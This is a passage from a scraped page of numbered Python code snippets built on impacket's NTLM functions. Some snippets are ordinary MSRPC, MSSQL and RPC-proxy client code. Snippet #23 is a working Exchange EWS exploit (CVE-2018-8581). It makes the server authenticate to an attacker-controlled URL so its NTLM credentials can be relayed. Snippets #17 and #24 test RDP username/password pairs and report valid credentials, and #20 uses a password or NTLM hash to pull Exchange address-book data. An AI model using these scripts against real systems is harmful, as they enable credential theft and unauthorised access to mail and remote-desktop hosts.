            logging.error('Server returned HTTP %d: %s', res.status, body)
Пример #17
0
def clientConnect(host, username, password, domain, connect=True):
    tpkt = TPKT()
    tpdu = TPDU()
    rdp_neg = RDP_NEG_REQ()
    rdp_neg['Type'] = TYPE_RDP_NEG_REQ
    rdp_neg[
        'requestedProtocols'] = PROTOCOL_HYBRID_EX | PROTOCOL_HYBRID | PROTOCOL_SSL
    tpdu['VariablePart'] = rdp_neg.getData()
    tpdu['Code'] = TDPU_CONNECTION_REQUEST
    tpkt['TPDU'] = tpdu.getData()

    s = socket.socket()
    s.connect((host, 3389))
    s.sendall(tpkt.getData())
    pkt = s.recv(8192)
    tpkt.fromString(pkt)
    tpdu.fromString(tpkt['TPDU'])
    cr_tpdu = CR_TPDU(tpdu['VariablePart'])
    if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
        rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
        rdp_failure.dump()
        logging.error(
            "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials"
        )
        return
    else:
        rdp_neg.fromString(tpdu['VariablePart'])

#Here we start the SPNEGO exchange

#Step1 : Start the SSL connection
    ctx = SSL.Context(SSL.TLSv1_2_METHOD)
    ctx.set_cipher_list('RC4,AES')
    tls = SSL.Connection(ctx, s)
    tls.set_connect_state()
    tls.do_handshake()

    #Step2: Send the SPNEGO handshake
    auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True)

    ts_request = TSRequest()
    ts_request['NegoData'] = auth.getData()

    tls.send(ts_request.getData())
    buff = tls.recv(4096)
    ts_request.fromString(buff)

    #Step3: We should have an NTLM Challenge. Answer the challenge and sign the server pubkey

    lmhash = ''
    nthash = ''
    type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth,
                                                     ts_request['NegoData'],
                                                     username,
                                                     password,
                                                     domain,
                                                     lmhash,
                                                     nthash,
                                                     use_ntlmv2=True)
    # Get server public key
    server_cert = tls.get_peer_certificate()
    pkey = server_cert.get_pubkey()
    dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)

    # Fix up due to PyOpenSSL lack for exporting public keys
    dump = dump[7:]
    pubKeyStr = b'\x30' + asn1encode(dump)
    clientNonce = "A" * 32
    magic = b"CredSSP Client-To-Server Binding Hash\x00"
    h2 = hashlib.sha256()
    h2.update(magic)
    h2.update(clientNonce)
    h2.update(pubKeyStr)

    cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
    signature, cripted_key = cipher.clientEncrypt(h2.digest())
    ts_request['NegoData'] = type3.getData()
    ts_request['clientNonce'] = clientNonce
    ts_request['pubKeyAuth'] = signature.getData() + cripted_key
    try:
        # Sending the Type 3 NTLM blob
        tls.send(ts_request.getData())
        buff = tls.recv(1024)
    except Exception as err:
        if str(err).find("denied") > 0:
            logging.error("Access Denied")
        else:
            print(err)
        return

#Step4: Server should send its pubkey signature.

    try:
        ts_request = TSRequest(buff)
        #if password is invalid buff can't be decode
        # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;)
        signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'])
        if username != "" and password != "":
            print "Found valid credentials: " + username + ":" + password
    except Exception as err:
        return 0

#Step5: Send the encrypted credentials to the server
    if connect == True:
        tsp = TSPasswordCreds()
        tsp['domainName'] = domain
        tsp['userName'] = username
        tsp['password'] = password
        tsc = TSCredentials()
        tsc['credType'] = 1  # TSPasswordCreds
        tsc['credentials'] = tsp.getData()
        signature, cripted_creds = cipher.clientEncrypt(tsc.getData())
        ts_request = TSRequest()
        ts_request['authInfo'] = signature.getData() + cripted_creds
        tls.send(ts_request.getData())
        print "Credentials sent"
        return tls
    else:
        return 1
Пример #18
0
    def bind(self, uuid, alter=0, bogus_binds=0):
        bind = MSRPCBind()
        # Standard NDR Representation
        NDRSyntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
        # NDR 64
        NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
        #item['TransferSyntax']['Version'] = 1
        ctx = self._ctx
        for i in range(bogus_binds):
            item = CtxItem()
            item['ContextID'] = ctx
            item['TransItems'] = 1
            item['ContextID'] = ctx
            # We generate random UUIDs for bogus binds
            item['AbstractSyntax'] = generate() + stringver_to_bin('2.0')
            item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
            bind.addCtxItem(item)
            self._ctx += 1
            ctx += 1

        # The true one :)
        item = CtxItem()
        item['AbstractSyntax'] = uuid
        item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
        item['ContextID'] = ctx
        item['TransItems'] = 1
        bind.addCtxItem(item)

        packet = MSRPCHeader()
        packet['type'] = MSRPC_BIND

        if alter:
            packet['type'] = MSRPC_ALTERCTX

        if (self.__auth_level != ntlm.NTLM_AUTH_NONE):
            if (self.__username is None) or (self.__password is None):
                self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash = self._transport.get_credentials(
                )
            auth = ntlm.getNTLMSSPType1('', self.__domain, True, isDCE=True)
            auth['auth_level'] = self.__auth_level
            auth['auth_ctx_id'] = self._ctx + 79231

            pad = (8 - (len(packet.get_packet()) % 8)) % 8
            if pad != 0:
                packet['pduData'] = packet['pduData'] + '\xFF' * pad
                auth['auth_pad_len'] = pad
            packet['auth_data'] = str(auth)

        packet['pduData'] = str(bind)
        packet['call_id'] = self.__callid
        self._transport.send(packet.get_packet())

        s = self._transport.recv()

        if s != 0:
            resp = MSRPCHeader(s)
        else:
            return 0  #mmm why not None?

        if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R:
            bindResp = MSRPCBindAck(str(resp))
        elif resp['type'] == MSRPC_BINDNAK:
            resp = MSRPCBindNak(resp['pduData'])
            status_code = resp['RejectedReason']
            if rpc_status_codes.has_key(status_code):
                raise Exception(rpc_status_codes[status_code], resp)
            else:
                raise Exception(
                    'Unknown DCE RPC fault status code: %.8x' % status_code,
                    resp)
        else:
            raise Exception('Unknown DCE RPC packet type received: %d' %
                            resp['type'])

        # check ack results for each context, except for the bogus ones
        for ctx in range(bogus_binds + 1, bindResp['ctx_num'] + 1):
            result = bindResp.getCtxItem(ctx)['Result']
            if result != 0:
                msg = "Bind context %d rejected: " % ctx
                msg += rpc_cont_def_result.get(
                    result,
                    'Unknown DCE RPC context result code: %.4x' % result)
                msg += "; "
                reason = bindResp.getCtxItem(ctx)['Reason']
                msg += rpc_provider_reason.get(
                    reason, 'Unknown reason code: %.4x' % reason)
                if (result, reason) == (
                        2, 1
                ):  # provider_rejection, abstract syntax not supported
                    msg += " (this usually means the interface isn't listening on the given endpoint)"
                raise Exception(msg, resp)

        self.__max_xmit_size = bindResp['max_tfrag']

        if self.__auth_level != ntlm.NTLM_AUTH_NONE:
            response, randomSessionKey = ntlm.getNTLMSSPType3(
                auth, bindResp['auth_data'], self.__username, self.__password,
                self.__domain, self.__lmhash, self.__nthash, True)
            response['auth_ctx_id'] = self._ctx + 79231
            response['auth_level'] = self.__auth_level
            self.__flags = response['flags']

            if self.__auth_level in (ntlm.NTLM_AUTH_CONNECT,
                                     ntlm.NTLM_AUTH_PKT_INTEGRITY,
                                     ntlm.NTLM_AUTH_PKT_PRIVACY):
                if self.__flags & ntlm.NTLMSSP_NTLM2_KEY:
                    self.__clientSigningKey = ntlm.SIGNKEY(
                        self.__flags, randomSessionKey)
                    self.__serverSigningKey = ntlm.SIGNKEY(
                        self.__flags, randomSessionKey, "Server")
                    self.__clientSealingKey = ntlm.SEALKEY(
                        self.__flags, randomSessionKey)
                    self.__serverSealingKey = ntlm.SEALKEY(
                        self.__flags, randomSessionKey, "Server")
                    # Preparing the keys handle states
                    cipher3 = ARC4.new(self.__clientSealingKey)
                    self.__clientSealingHandle = cipher3.encrypt
                    cipher4 = ARC4.new(self.__serverSealingKey)
                    self.__serverSealingHandle = cipher4.encrypt
                else:
                    # Same key for everything
                    self.__clientSigningKey = randomSessionKey
                    self.__serverSigningKey = randomSessionKey
                    self.__clientSealingKey = randomSessionKey
                    self.__serverSealingKey = randomSessionKey
                    cipher = ARC4.new(self.__clientSigningKey)
                    self.__clientSealingHandle = cipher.encrypt
                    self.__serverSealingHandle = cipher.encrypt

            self.__sequence = 0

            auth3 = MSRPCHeader()
            auth3['type'] = MSRPC_AUTH3
            auth3['auth_data'] = str(response)

            # Use the same call_id
            self.__callid = resp['call_id']
            auth3['call_id'] = self.__callid
            self._transport.send(auth3.get_packet(), forceWriteAndx=1)
            self.__callid += 1

        return resp  # means packet is signed, if verifier is wrong it fails
Пример #19
0
    def login(self,
              database,
              username,
              password='',
              domain='',
              hashes=None,
              useWindowsAuth=False):

        if hashes is not None:
            lmhash, nthash = hashes.split(':')
            lmhash = binascii.a2b_hex(lmhash)
            nthash = binascii.a2b_hex(nthash)
        else:
            lmhash = ''
            nthash = ''

        resp = self.preLogin()
        # Test this!
        if resp['Encryption'] == TDS_ENCRYPT_REQ or resp[
                'Encryption'] == TDS_ENCRYPT_OFF:
            self.__logger.logMessage(
                "[!] Encryption required, switching to TLS")

            # Switching to TLS now
            ctx = SSL.Context(SSL.TLSv1_METHOD)
            ctx.set_cipher_list('RC4')
            tls = SSL.Connection(ctx, None)
            tls.set_connect_state()
            while True:
                try:
                    tls.do_handshake()
                except SSL.WantReadError:
                    data = tls.bio_read(4096)
                    self.sendTDS(TDS_PRE_LOGIN, data, 0)
                    tds = self.recvTDS()
                    tls.bio_write(tds['Data'])
                else:
                    break

            # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement,
            # Transport Layer Security(TLS), limit data fragments to 16k in size.
            self.packetSize = 16 * 1024 - 1
            self.tlsSocket = tls

        login = TDS_LOGIN()

        login['HostName'] = (''.join([
            random.choice(string.letters) for i in range(8)
        ])).encode('utf-16le')
        login['AppName'] = (''.join([
            random.choice(string.letters) for i in range(8)
        ])).encode('utf-16le')
        login['ServerName'] = self.server.encode('utf-16le')
        login['CltIntName'] = login['AppName']
        login['ClientPID'] = random.randint(0, 1024)
        login['PacketSize'] = self.packetSize
        if database is not None:
            login['Database'] = database.encode('utf-16le')
        login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON

        if useWindowsAuth is True:
            login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON
            # NTLMSSP Negotiate
            auth = ntlm.getNTLMSSPType1('WORKSTATION', '')
            login['SSPI'] = str(auth)
        else:
            login['UserName'] = username.encode('utf-16le')
            login['Password'] = self.encryptPassword(
                password.encode('utf-16le'))
            login['SSPI'] = ''

        login['Length'] = len(str(login))

        # Send the NTLMSSP Negotiate or SQL Auth Packet
        self.sendTDS(TDS_LOGIN7, str(login))

        # According to the spects, if encryption is not required, we must encrypt just
        # the first Login packet :-o
        if resp['Encryption'] == TDS_ENCRYPT_OFF:
            self.tlsSocket = None

        tds = self.recvTDS()

        if useWindowsAuth is True:
            serverChallenge = tds['Data'][3:]

            # Generate the NTLM ChallengeResponse AUTH
            type3, exportedSessionKey = ntlm.getNTLMSSPType3(
                auth, serverChallenge, username, password, domain, lmhash,
                nthash)

            self.sendTDS(TDS_SSPI, str(type3))
            tds = self.recvTDS()

        self.replies = self.parseReply(tds['Data'])

        if self.replies.has_key(TDS_LOGINACK_TOKEN):
            return True
        else:
            return False
Пример #20
0
def checkoab(host, port, mode, email, data):
    OABID = input("Input the OABID:")
    OAB_url = "/OAB/" + OABID + "/oab.xml"
    tmp = email.split('@')
    user = tmp[0]

    if port == 443:
        try:
            uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            session = HTTPSConnection(host, port, context=uv_context)
        except AttributeError:
            session = HTTPSConnection(host, port)
    else:
        session = HTTPConnection(host, port)

    # Use impacket for NTLM
    ntlm_nego = ntlm.getNTLMSSPType1(host)

    #Negotiate auth
    negotiate = base64.b64encode(ntlm_nego.getData())
    # Headers
    headers = {
        "Authorization":
        'NTLM %s' % negotiate.decode('utf-8'),
        "Content-type":
        "text/xml; charset=utf-8",
        "Accept":
        "text/xml",
        "User-Agent":
        "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }
    session.request("GET", OAB_url, "", headers)

    res = session.getresponse()
    res.read()

    if res.status != 401:
        print(
            'Status code returned: %d. Authentication does not seem required for URL'
            % (res.status))
        return False
    try:
        if 'NTLM' not in res.getheader('WWW-Authenticate'):
            print('NTLM Auth not offered by URL, offered protocols: %s' %
                  (res.getheader('WWW-Authenticate')))
            return False
    except (KeyError, TypeError):
        print('No authentication requested by the server for url %s' %
              (OAB_url))
        return False

    print('[*] Got 401, performing NTLM authentication')
    # Get negotiate data
    try:
        ntlm_challenge_b64 = re.search(
            'NTLM ([a-zA-Z0-9+/]+={0,2})',
            res.getheader('WWW-Authenticate')).group(1)
        ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
    except (IndexError, KeyError, AttributeError):
        print('No NTLM challenge returned from server')
        return False

    if mode == 'plaintext':
        password1 = data
        nt_hash = ''

    elif mode == 'ntlmhash':
        password1 = ''
        nt_hash = binascii.unhexlify(data)

    else:
        print('[!] Wrong parameter')
        return False

    lm_hash = ''
    ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user,
                                        password1, host, lm_hash, nt_hash)
    auth = base64.b64encode(ntlm_auth.getData())

    headers = {
        "Authorization":
        'NTLM %s' % auth.decode('utf-8'),
        "Content-type":
        "text/xml; charset=utf-8",
        "Accept":
        "text/xml",
        "User-Agent":
        "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }

    session.request("GET", OAB_url, "", headers)
    res = session.getresponse()
    body = res.read()

    if res.status == 401:
        print('[!] Server returned HTTP status 401 - authentication failed')
        return False
    else:
        filename = "checkOAB.xml"
        print('[+] Save response file to %s' % (filename))
        with open(filename, 'w+', encoding='utf-8') as file_object:
            file_object.write(bytes.decode(body))

        pattern_name = re.compile(r">(.+lzx)<")
        name = pattern_name.findall(bytes.decode(body))
        if name:
            print('[+] Default Global Address:%s' % (name[0]))

        return True
Пример #21
0
    def login(self, database, username, password='', domain='', hashes = None, useWindowsAuth = False):

        if hashes is not None:
            lmhash, nthash = hashes.split(':')
            lmhash = binascii.a2b_hex(lmhash)
            nthash = binascii.a2b_hex(nthash)
        else:
            lmhash = ''
            nthash = ''

        resp = self.preLogin()
        # Test this!
        if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF:
            print "[!] Encryption required, switching to TLS"

            # Switching to TLS now
            ctx = SSL.Context(SSL.TLSv1_METHOD)
            ctx.set_cipher_list('RC4')
            tls = SSL.Connection(ctx,None)
            tls.set_connect_state()
            while True:
                try:
                    tls.do_handshake()
                except SSL.WantReadError:
                    data = tls.bio_read(4096)
                    self.sendTDS(TDS_PRE_LOGIN, data,0)
                    tds = self.recvTDS()
                    tls.bio_write(tds['Data'])
                else:
                    break

            # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, 
            # Transport Layer Security(TLS), limit data fragments to 16k in size.
            self.packetSize = 16*1024-1
            self.tlsSocket = tls 


        login = TDS_LOGIN()

        login['HostName'] = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le')
        login['AppName']  = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le')
        login['ServerName'] = self.server.encode('utf-16le')
        login['CltIntName']  = login['AppName']
        login['ClientPID'] = random.randint(0,1024)
        login['PacketSize'] = self.packetSize
        if database is not None:
            login['Database'] = database.encode('utf-16le')
        login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON

        if useWindowsAuth is True:
            login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON
            # NTLMSSP Negotiate
            auth = ntlm.getNTLMSSPType1('WORKSTATION','')
            login['SSPI'] = str(auth)
        else:
            login['UserName'] = username.encode('utf-16le')
            login['Password'] = self.encryptPassword(password.encode('utf-16le'))
            login['SSPI'] = ''

        login['Length'] = len(str(login))

        # Send the NTLMSSP Negotiate or SQL Auth Packet
        self.sendTDS(TDS_LOGIN7, str(login))

        # According to the spects, if encryption is not required, we must encrypt just 
        # the first Login packet :-o 
        if resp['Encryption'] == TDS_ENCRYPT_OFF:
            self.tlsSocket = None

        tds = self.recvTDS()


        if useWindowsAuth is True:
            serverChallenge = tds['Data'][3:]

            # Generate the NTLM ChallengeResponse AUTH 
            type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, serverChallenge, username, password, domain, lmhash, nthash)

            self.sendTDS(TDS_SSPI, str(type3))
            tds = self.recvTDS()

        self.replies = self.parseReply(tds['Data'])

        if self.replies.has_key(TDS_LOGINACK_TOKEN):
            return True
        else:
            return False
Пример #22
0
    def create_channel(self, method, headers):
        if self._rpcProxyUrl.scheme == 'http':
            self.__channels[method] = HTTPConnection(self._rpcProxyUrl.netloc)
        else:
            try:
                uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
                self.__channels[method] = HTTPSConnection(
                    self._rpcProxyUrl.netloc, context=uv_context)
            except AttributeError:
                self.__channels[method] = HTTPSConnection(
                    self._rpcProxyUrl.netloc)

        auth = ntlm.getNTLMSSPType1(domain=self.__domain)
        auth_headers = headers.copy()
        auth_headers['Content-Length'] = '0'
        auth_headers['Authorization'] = b'NTLM ' + base64.b64encode(
            auth.getData())

        self.__channels[method].request(method,
                                        self._rpcProxyUrl.path,
                                        headers=auth_headers)

        res = self.__channels[method].getresponse()
        res.read()

        if res.status != 401:
            raise RPCProxyClientException(
                'Status code returned: %d. Authentication does not seem required for url %s'
                % (res.status, self._rpcProxyUrl.path))

        if res.getheader('WWW-Authenticate') is None:
            raise RPCProxyClientException(
                'No authentication requested by the server for url %s' %
                self._rpcProxyUrl.path)

        if 'NTLM' not in res.getheader('WWW-Authenticate'):
            raise RPCProxyClientException(
                'NTLM Auth not offered by URL, offered protocols: %s' %
                res.getheader('WWW-Authenticate'))

        try:
            serverChallengeBase64 = re.search(
                'NTLM ([a-zA-Z0-9+/]+={0,2})',
                res.getheader('WWW-Authenticate')).group(1)
            serverChallenge = base64.b64decode(serverChallengeBase64)
        except (IndexError, KeyError, AttributeError):
            raise RPCProxyClientException(
                'No NTLM challenge returned from server for url %s' %
                self._rpcProxyUrl.path)

        # Default ACL in HKLM\SOFTWARE\Microsoft\Rpc\ValidPorts allows connections only by NetBIOS name of the server.
        # If remoteName is empty we assume the target is the rpcproxy server, and get its NetBIOS name from NTLMSSP.
        #
        # Interestingly, if Administrator renames the server, the ACL remains the original.
        if not self.__ntlmssp_info:
            challenge = ntlm.NTLMAuthChallenge(serverChallenge)
            self.__ntlmssp_info = ntlm.AV_PAIRS(challenge['TargetInfoFields'])

        if not self.__remoteName:
            self.__remoteName = self.__ntlmssp_info[
                ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
            self._stringbinding.set_network_address(self.__remoteName)

        if not self._rpcProxyUrl.query:
            query = self.__remoteName + ':' + str(self.__dstport)
            self._rpcProxyUrl = self._rpcProxyUrl._replace(query=query)

        type3, exportedSessionKey = ntlm.getNTLMSSPType3(
            auth, serverChallenge, self.__username, self.__password,
            self.__domain, self.__lmhash, self.__nthash)

        headers['Authorization'] = b'NTLM ' + base64.b64encode(type3.getData())

        self.__channels[method].request(method,
                                        self._rpcProxyUrl.path + '?' +
                                        self._rpcProxyUrl.query,
                                        headers=headers)

        auth_resp = self.__channels[method].sock.recv(8192)

        if auth_resp != b'HTTP/1.1 100 Continue\r\n\r\n':
            try:
                auth_resp = auth_resp.split(b'\r\n')[0].decode(
                    "utf-8", errors='replace')
                raise RPCProxyClientException(
                    'RPC Proxy authentication failed in %s channel' % method,
                    proxy_error=auth_resp)
            except (IndexError, KeyError, AttributeError):
                raise RPCProxyClientException(
                    'RPC Proxy authentication failed in %s channel' % method)
Пример #23
0
def exploit(args):
    ews_url = "/EWS/Exchange.asmx"
    exchange_version = args.exchange_version
    # Should we log debug stuff?
    if args.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)

    if args.password is None and args.hashes is None:
        args.password = getpass.getpass()

    # Init connection
    if not args.no_ssl:
        # HTTPS = default
        port = 443
        if args.exchange_port:
            port = int(args.exchange_port)
        try:
            uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            session = HTTPSConnection(args.host,
                                      port,
                                      timeout=10,
                                      context=uv_context)
        except AttributeError:
            session = HTTPSConnection(args.host, port, timeout=10)
    else:
        # Otherwise: HTTP
        port = 80
        if args.exchange_port:
            port = int(args.exchange_port)
        session = HTTPConnection(args.host, port, timeout=10)

    # Construct attacker url
    if args.attacker_port != 80:
        attacker_url = 'http://%s:%d%s' % (
            args.attacker_host, int(args.attacker_port), args.attacker_page)
    else:
        attacker_url = 'http://%s%s' % (args.attacker_host, args.attacker_page)

    logging.info('Using attacker URL: %s', attacker_url)
    # Use impacket for NTLM
    ntlm_nego = ntlm.getNTLMSSPType1(args.attacker_host, domain=args.domain)
    #Negotiate auth
    negotiate = base64.b64encode(ntlm_nego.getData())
    # Headers
    # Source: https://github.com/thezdi/PoC/blob/master/CVE-2018-8581/Exch_EWS_pushSubscribe.py
    headers = {
        "Authorization": 'NTLM %s' % negotiate,
        "Content-type": "text/xml; charset=utf-8",
        "Accept": "text/xml",
        "User-Agent": "ExchangeServicesClient/0.0.0.0",
        "Translate": "F"
    }

    session.request("POST", ews_url,
                    POST_BODY % (exchange_version, attacker_url), headers)

    res = session.getresponse()
    res.read()

    # Copied from ntlmrelayx httpclient.py
    if res.status != 401:
        logging.info(
            'Status code returned: %d. Authentication does not seem required for URL',
            res.status)
    try:
        if 'NTLM' not in res.getheader('WWW-Authenticate'):
            logging.error(
                'NTLM Auth not offered by URL, offered protocols: %s',
                res.getheader('WWW-Authenticate'))
            return False
    except (KeyError, TypeError):
        logging.error('No authentication requested by the server for url %s',
                      ews_url)
        return False

    logging.debug('Got 401, performing NTLM authentication')
    # Get negotiate data
    try:
        ntlm_challenge_b64 = re.search(
            'NTLM ([a-zA-Z0-9+/]+={0,2})',
            res.getheader('WWW-Authenticate')).group(1)
        ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
    except (IndexError, KeyError, AttributeError):
        logging.error('No NTLM challenge returned from server')
        return False

    if args.hashes:
        lm_hash_h, nt_hash_h = args.hashes.split(':')
        # Convert to binary format
        lm_hash = binascii.unhexlify(lm_hash_h)
        nt_hash = binascii.unhexlify(nt_hash_h)
        args.password = ''
    else:
        nt_hash = ''
        lm_hash = ''

    ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, args.user,
                                        args.password, args.domain, lm_hash,
                                        nt_hash)
    auth = base64.b64encode(ntlm_auth.getData())
    #print("Get Auth: "+auth)
    headers = {
        "Authorization": 'NTLM %s' % auth,
        "Content-type": "text/xml; charset=utf-8",
        "Accept": "text/xml",
        "User-Agent": "ExchangeServicesClient/0.0.0.0",
        "Translate": "F"
    }

    session.request("POST", ews_url,
                    POST_BODY % (exchange_version, attacker_url), headers)
    res = session.getresponse()

    logging.debug('HTTP status: %d', res.status)
    body = res.read()
    logging.debug('Body returned: %s', body)
    if res.status == 200:
        logging.info(
            'Exchange returned HTTP status 200 - authentication was OK')
        # Parse XML with ElementTree
        root = ET.fromstring(body)
        code = None
        for response in root.iter(
                '{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode'
        ):
            code = response.text
        if not code:
            logging.error('Could not find response code element in body: %s',
                          body)
            return False
        if code == 'NoError':
            logging.critical('API call was successful')
            return True
        elif code == 'ErrorMissingEmailAddress':
            logging.error(
                'The user you authenticated with does not have a mailbox associated. Try a different user.'
            )
            return False
        else:
            logging.error('Unknown error %s', code)
            for errmsg in root.iter(
                    '{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages'
            ):
                logging.error('Server returned: %s', errmsg.text)
            return False
    elif res.status == 401:
        logging.error(
            'Server returned HTTP status 401 - authentication failed')
        return False
    else:
        logging.error('Server returned HTTP %d: %s', res.status, body)
        return True
Пример #24
0
    def check_rdp(host, username, password, domain, hashes=None):

        if hashes is not None:
            lmhash, nthash = hashes.split(':')
            lmhash = a2b_hex(lmhash)
            nthash = a2b_hex(nthash)

        else:
            lmhash = ''
            nthash = ''

        tpkt = TPKT()
        tpdu = TPDU()
        rdp_neg = RDP_NEG_REQ()
        rdp_neg['Type'] = TYPE_RDP_NEG_REQ
        rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
        tpdu['VariablePart'] = rdp_neg.getData()
        tpdu['Code'] = TDPU_CONNECTION_REQUEST
        tpkt['TPDU'] = tpdu.getData()

        s = socket.socket()
        s.connect((host, 3389))  #port default
        s.sendall(tpkt.getData())
        pkt = s.recv(8192)
        tpkt.fromString(pkt)
        tpdu.fromString(tpkt['TPDU'])
        cr_tpdu = CR_TPDU(tpdu['VariablePart'])
        if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
            rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
            rdp_failure.dump()
            logging.error(
                "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials"
            )
            return
        else:
            rdp_neg.fromString(tpdu['VariablePart'])

        # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation

        # 1. The CredSSP client and CredSSP server first complete the TLS handshake,
        # as specified in [RFC2246]. After the handshake is complete, all subsequent
        # CredSSP Protocol messages are encrypted by the TLS channel.
        # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS
        # handshake, the CredSSP server does not request the client's X.509 certificate
        # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require
        # the client to have a commonly trusted certification authority root with the
        # CredSSP server. Thus, the CredSSP server MAY use, for example,
        # a self-signed X.509 certificate.

        # Switching to TLS now
        ctx = SSL.Context(SSL.TLSv1_2_METHOD)
        ctx.set_cipher_list(b'RC4,AES')
        tls = SSL.Connection(ctx, s)
        tls.set_connect_state()
        tls.do_handshake()

        # If you want to use Python internal ssl, uncomment this and comment
        # the previous lines
        #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')

        # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client
        # and server completes mutual authentication and establishes an encryption key
        # that is used by the SPNEGO confidentiality services, as specified in [RFC4178].
        # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to
        # the calling application (the CredSSP client and CredSSP server).
        # The wire protocol for SPNEGO is specified in [MS-SPNG].
        # The SPNEGO tokens exchanged between the client and the server are encapsulated
        # in the negoTokens field of the TSRequest structure. Both the client and the
        # server use this structure as many times as necessary to complete the SPNEGO
        # exchange.<9>
        #
        # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
        # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth
        # field is omitted by the client unless the client is sending the last SPNEGO token.
        # If the client is sending the last SPNEGO token, the TSRequest structure MUST have
        # both the negoToken and the pubKeyAuth fields filled in.

        # NTLMSSP stuff
        auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True)

        ts_request = TSRequest()
        ts_request['NegoData'] = auth.getData()

        tls.send(ts_request.getData())
        buff = tls.recv(4096)
        ts_request.fromString(buff)

        # 3. The client encrypts the public key it received from the server (contained
        # in the X.509 certificate) in the TLS handshake from step 1, by using the
        # confidentiality support of SPNEGO. The public key that is encrypted is the
        # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509
        # certificate, as specified in [RFC3280] section 4.1. The encrypted key is
        # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over
        # the TLS channel to the server.
        #
        # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
        # from the TSRequest structure; the client MUST send its last SPNEGO token to the
        # server in the negoTokens field (see step 2) along with the encrypted public key
        # in the pubKeyAuth field.

        # Last SPNEGO token calculation
        #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
        type3, exportedSessionKey = ntlm.getNTLMSSPType3(
            auth,
            ts_request['NegoData'],
            username,
            password,
            domain,
            lmhash,
            nthash,
            use_ntlmv2=True)

        # Get server public key
        server_cert = tls.get_peer_certificate()
        pkey = server_cert.get_pubkey()
        dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)

        # Fix up due to PyOpenSSL lack for exporting public keys
        dump = dump[7:]
        dump = b'\x30' + asn1encode(dump)

        cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
        signature, cripted_key = cipher.encrypt(dump)
        ts_request['NegoData'] = type3.getData()
        ts_request['pubKeyAuth'] = signature.getData() + cripted_key

        try:
            # Sending the Type 3 NTLM blob
            tls.send(ts_request.getData())
            # The other end is waiting for the pubKeyAuth field, but looks like it's
            # not needed to check whether authentication worked.
            # If auth is unsuccessful, it throws an exception with the previous send().
            # If auth is successful, the server waits for the pubKeyAuth and doesn't answer
            # anything. So, I'm sending garbage so the server returns an error.
            # Luckily, it's a different error so we can determine whether or not auth worked ;)
            buff = tls.recv(1024)
        except Exception as err:
            if str(err).find("denied") > 0:
                # logging.error("Access Denied")
                sys.stdout.write('\r[-] [%s:%s] Access Denied            ' %
                                 (username, password))
            else:
                logging.error(err)
                time.sleep(5)
            return

        # 4. After the server receives the public key in step 3, it first verifies that
        # it has the same public key that it used as part of the TLS handshake in step 1.
        # The server then adds 1 to the first byte representing the public key (the ASN.1
        # structure corresponding to the SubjectPublicKey field, as described in step 3)
        # and encrypts the binary result by using the SPNEGO encryption services.
        # Due to the addition of 1 to the binary data, and encryption of the data as a binary
        # structure, the resulting value may not be valid ASN.1-encoded values.
